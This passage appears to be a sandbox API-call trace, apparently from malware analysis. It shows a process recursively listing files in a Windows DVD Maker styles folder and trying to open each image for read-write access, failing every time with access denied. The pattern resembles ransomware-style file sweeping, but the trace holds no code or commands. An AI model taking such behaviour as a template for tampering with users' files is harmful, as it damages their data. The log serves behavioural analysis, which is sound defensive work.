ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.069] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned 76 [0104.069] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.069] GetLastError () returned 0x5 [0104.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.069] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned 82 [0104.069] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.070] GetLastError () returned 0x5 [0104.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png") returned 77 [0104.070] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.070] GetLastError () returned 0x5 [0104.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png") returned 83 [0104.070] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.072] GetLastError () returned 0x5 [0104.072] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.072] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png") returned 74 [0104.072] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.072] GetLastError () returned 0x5 [0104.072] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.072] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png") returned 80 [0104.072] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.072] GetLastError () returned 0x5 [0104.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0104.073] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge") returned 50 [0104.073] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*") returned 54 [0104.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.080] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.081] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0104.081] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png") returned 68 [0104.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.081] GetLastError () returned 0x5 [0104.081] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0104.081] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png") returned 63 [0104.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.081] GetLastError () returned 0x5 [0104.081] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0104.081] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0104.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.083] GetLastError () returned 0x5 [0104.083] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.083] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0104.083] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.083] GetLastError () returned 0x5 [0104.083] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.083] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png") returned 89 [0104.083] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.084] GetLastError () returned 0x5 [0104.084] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.084] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0104.084] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.084] GetLastError () returned 0x5 [0104.084] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.084] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned 90 [0104.084] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.085] GetLastError () returned 0x5 [0104.085] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0104.085] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned 81 [0104.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.085] GetLastError () returned 0x5 [0104.085] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0104.085] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned 87 [0104.085] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.085] GetLastError () returned 0x5 [0104.085] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0104.086] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned 62 [0104.086] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.086] GetLastError () returned 0x5 [0104.086] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0104.086] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.088] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0104.088] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance") returned 55 [0104.088] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*") returned 59 [0104.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.093] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.093] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0104.093] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0104.093] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.095] GetLastError () returned 0x5 [0104.095] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0104.095] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png") returned 78 [0104.095] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.095] GetLastError () returned 0x5 [0104.095] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0104.095] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png") returned 87 [0104.095] CreateFileW (lpFileName="C:\\Program Files\\DVD 